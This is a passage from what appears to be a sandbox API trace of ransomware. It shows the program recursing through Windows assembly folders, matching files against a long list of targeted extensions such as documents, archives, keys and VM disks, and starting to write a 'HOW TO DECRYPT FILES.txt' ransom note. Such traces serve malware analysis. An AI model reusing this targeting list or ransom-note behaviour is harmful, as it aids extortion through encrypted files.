lstrlenA (lpString="*.mdb") returned 5 [0100.592] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.fdb") returned 0 [0100.593] lstrlenA (lpString="*.fdb") returned 5 [0100.593] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.wab") returned 0 [0100.593] lstrlenA (lpString="*.wab") returned 5 [0100.593] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.dat") returned 0 [0100.593] lstrlenA (lpString="*.dat") returned 5 [0100.593] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.txt") returned 0 [0100.593] lstrlenA (lpString="*.txt") returned 5 [0100.593] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.jpeg") returned 0 [0100.593] lstrlenA (lpString="*.jpeg") returned 6 [0100.593] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.jpg") returned 0 [0100.593] lstrlenA (lpString="*.jpg") returned 5 [0100.593] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.png") returned 0 [0100.593] lstrlenA (lpString="*.png") returned 5 [0100.593] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.php") returned 0 [0100.593] lstrlenA (lpString="*.php") returned 5 [0100.593] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.cs") returned 0 [0100.593] lstrlenA (lpString="*.cs") returned 4 [0100.593] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.cpp") returned 0 [0100.593] lstrlenA (lpString="*.cpp") returned 5 [0100.593] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.rar") returned 0 [0100.593] lstrlenA (lpString="*.rar") returned 5 [0100.593] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.zip") returned 0 [0100.593] lstrlenA (lpString="*.zip") returned 5 [0100.593] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.html") returned 0 [0100.593] lstrlenA (lpString="*.html") returned 6 [0100.593] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.htm") returned 0 [0100.593] lstrlenA (lpString="*.htm") returned 5 [0100.594] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.xlsx") returned 0 [0100.594] lstrlenA (lpString="*.xlsx") returned 6 [0100.594] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.xls") returned 0 [0100.594] lstrlenA (lpString="*.xls") returned 5 [0100.594] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.mp4") returned 0 [0100.594] lstrlenA (lpString="*.mp4") returned 5 [0100.594] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.ppt") returned 0 [0100.594] lstrlenA (lpString="*.ppt") returned 5 [0100.594] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.pptx") returned 0 [0100.594] lstrlenA (lpString="*.pptx") returned 6 [0100.594] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.doc") returned 0 [0100.594] lstrlenA (lpString="*.doc") returned 5 [0100.594] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.dot") returned 0 [0100.594] lstrlenA (lpString="*.dot") returned 5 [0100.594] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.docx") returned 0 [0100.594] lstrlenA (lpString="*.docx") returned 6 [0100.594] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.7z") returned 0 [0100.594] lstrlenA (lpString="*.7z") returned 4 [0100.594] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.tar") returned 0 [0100.594] lstrlenA (lpString="*.tar") returned 5 [0100.594] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.bz2") returned 0 [0100.594] lstrlenA (lpString="*.bz2") returned 5 [0100.594] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.gz") returned 0 [0100.594] lstrlenA (lpString="*.gz") returned 4 [0100.595] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.mkv") returned 0 [0100.595] lstrlenA (lpString="*.mkv") returned 5 [0100.595] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.eml") returned 0 [0100.595] lstrlenA (lpString="*.eml") returned 5 [0100.595] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.msg") returned 0 [0100.595] lstrlenA (lpString="*.msg") returned 5 [0100.595] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.edb") returned 0 [0100.595] lstrlenA (lpString="*.edb") returned 5 [0100.595] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.accdb") returned 0 [0100.595] lstrlenA (lpString="*.accdb") returned 7 [0100.595] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.odb") returned 0 [0100.595] lstrlenA (lpString="*.odb") returned 5 [0100.595] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.java") returned 0 [0100.595] lstrlenA (lpString="*.java") returned 6 [0100.595] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.asm") returned 0 [0100.595] lstrlenA (lpString="*.asm") returned 5 [0100.595] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.pfx") returned 0 [0100.595] lstrlenA (lpString="*.pfx") returned 5 [0100.595] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.pem") returned 0 [0100.595] lstrlenA (lpString="*.pem") returned 5 [0100.595] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.p12") returned 0 [0100.595] lstrlenA (lpString="*.p12") returned 5 [0100.595] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.gpg") returned 0 [0100.595] lstrlenA (lpString="*.gpg") returned 5 [0100.595] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.vsd") returned 0 [0100.596] lstrlenA (lpString="*.vsd") returned 5 [0100.596] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.odg") returned 0 [0100.596] lstrlenA (lpString="*.odg") returned 5 [0100.596] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.raw") returned 0 [0100.596] lstrlenA (lpString="*.raw") returned 5 [0100.596] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.nef") returned 0 [0100.596] lstrlenA (lpString="*.nef") returned 5 [0100.596] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.svg") returned 0 [0100.596] lstrlenA (lpString="*.svg") returned 5 [0100.596] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.psd") returned 0 [0100.596] lstrlenA (lpString="*.psd") returned 5 [0100.596] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.vmx") returned 0 [0100.596] lstrlenA (lpString="*.vmx") returned 5 [0100.596] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.vmdk") returned 0 [0100.596] lstrlenA (lpString="*.vmdk") returned 6 [0100.596] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.vdi") returned 0 [0100.596] lstrlenA (lpString="*.vdi") returned 5 [0100.596] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.lay6") returned 0 [0100.596] lstrlenA (lpString="*.lay6") returned 6 [0100.596] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.mpeg") returned 0 [0100.596] lstrlenA (lpString="*.mpeg") returned 6 [0100.596] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.djvu") returned 0 [0100.596] lstrlenA (lpString="*.djvu") returned 6 [0100.596] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.tiff") returned 0 [0100.596] lstrlenA (lpString="*.tiff") returned 6 [0100.597] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.backup") returned 0 [0100.597] lstrlenA (lpString="*.backup") returned 8 [0100.597] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.pdf") returned 0 [0100.597] lstrlenA (lpString="*.pdf") returned 5 [0100.597] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.cert") returned 0 [0100.597] lstrlenA (lpString="*.cert") returned 6 [0100.597] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.docm") returned 0 [0100.597] lstrlenA (lpString="*.docm") returned 6 [0100.597] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.xlsm") returned 0 [0100.597] lstrlenA (lpString="*.xlsm") returned 6 [0100.597] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.dwg") returned 0 [0100.597] lstrlenA (lpString="*.dwg") returned 5 [0100.597] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.nd") returned 0 [0100.597] lstrlenA (lpString="*.nd") returned 4 [0100.597] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.tlg") returned 0 [0100.597] lstrlenA (lpString="*.tlg") returned 5 [0100.597] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.lgb") returned 0 [0100.597] lstrlenA (lpString="*.lgb") returned 5 [0100.597] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.mov") returned 0 [0100.597] lstrlenA (lpString="*.mov") returned 5 [0100.597] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.xdw") returned 0 [0100.597] lstrlenA (lpString="*.xdw") returned 5 [0100.597] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.ods") returned 0 [0100.597] lstrlenA (lpString="*.ods") returned 5 [0100.598] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.wav") returned 0 [0100.598] lstrlenA (lpString="*.wav") returned 5 [0100.598] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.mp3") returned 0 [0100.598] lstrlenA (lpString="*.mp3") returned 5 [0100.598] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.aiff") returned 0 [0100.598] lstrlenA (lpString="*.aiff") returned 6 [0100.598] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.flac") returned 0 [0100.598] lstrlenA (lpString="*.flac") returned 6 [0100.598] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.m4a") returned 0 [0100.598] lstrlenA (lpString="*.m4a") returned 5 [0100.598] PathMatchSpecA (pszFile="C:\\Windows\\assembly\\GAC_MSIL\\MMCFxCommon.Resources\\3.0.0.0_en_31bf3856ad364e35\\MMCFxCommon.Resources.dll", pszSpec="*.csv") returned 0 [0100.598] lstrlenA (lpString="*.csv") returned 5 [0100.598] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb6d5cd, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0xbeb51b3, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xbb6d5cd, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="MMCFxCommon.Resources.dll", cAlternateFileName="")) returned 0 [0100.598] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0100.598] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x38308564, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x1ef2c95d, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ef2c95d, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="3.0.0.0_en_31bf3856ad364e35", cAlternateFileName="300~1.0_E")) returned 0 [0100.598] FindClose (in: hFindFile=0x502598 | out: hFindFile=0x502598) returned 1 [0100.598] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd6dd1c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd6dd1c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd6dd1c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4d004d, dwReserved1=0x460043, cFileName="napinit", cAlternateFileName="")) returned 1 [0100.598] lstrcmpA (lpString1=".", lpString2="napinit") returned -1 [0100.598] lstrcmpA (lpString1="..", lpString2="napinit") returned -1 [0100.598] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\*.*") returned="*.*" [0100.599] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\", lpString2="napinit" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\napinit") returned="C:\\Windows\\assembly\\GAC_MSIL\\napinit" [0100.599] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\napinit") returned 36 [0100.599] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\*.*", lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd6dd1c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd6dd1c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd6dd1c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x76c5023c, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x502598 [0100.599] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.599] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd6dd1c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd6dd1c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd6dd1c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.599] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.599] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.599] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd6dd1c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd6dd1c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd6dd1c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="6.1.0.0__31bf3856ad364e35", cAlternateFileName="610~1.0__")) returned 1 [0100.600] lstrcmpA (lpString1=".", lpString2="6.1.0.0__31bf3856ad364e35") returned -1 [0100.600] lstrcmpA (lpString1="..", lpString2="6.1.0.0__31bf3856ad364e35") returned -1 [0100.600] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\*.*") returned="*.*" [0100.600] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\", lpString2="6.1.0.0__31bf3856ad364e35" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35") returned="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35" [0100.600] lstrlenA (lpString="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35") returned 62 [0100.600] FindFirstFileA (in: lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\*.*", lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd6dd1c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd6dd1c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd6dd1c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x52d540, dwReserved1=0x1000, cFileName=".", cAlternateFileName="")) returned 0x502618 [0100.600] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0100.600] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfdd6dd1c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfdd6dd1c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfdd6dd1c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.600] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0100.600] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0100.600] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa2cce249, ftCreationTime.dwHighDateTime=0x1ca0405, ftLastAccessTime.dwLowDateTime=0xb1b14900, ftLastAccessTime.dwHighDateTime=0x1ca0424, ftLastWriteTime.dwLowDateTime=0x6c3d1a25, ftLastWriteTime.dwHighDateTime=0x1ca0425, nFileSizeHigh=0x0, nFileSizeLow=0x12000, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="NAPINIT.DLL", cAlternateFileName="")) returned 1 [0100.600] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0100.600] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="NAPINIT.DLL") returned -1 [0100.600] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="NAPINIT.DLL") returned -1 [0100.600] lstrcmpiA (lpString1="", lpString2="NAPINIT.DLL") returned -1 [0100.601] PathFindFileNameA (pszPath="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\*.*") returned="*.*" [0100.601] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\") returned="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\" [0100.601] PathAddBackslashA (in: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\" | out: pszPath="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\") returned="" [0100.601] lstrcatA (in: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" [0100.601] GetFileAttributesA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\napinit\\6.1.0.0__31bf3856ad364e35\\how to decrypt files.txt")) returned 0xffffffff [0100.601] CreateFileA (lpFileName="C:\\Windows\\assembly\\GAC_MSIL\\napinit\\6.1.0.0__31bf3856ad364e35\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\assembly\\gac_msil\\napinit\\6.1.0.0__31bf3856ad364e35\\how to decrypt files.txt"), 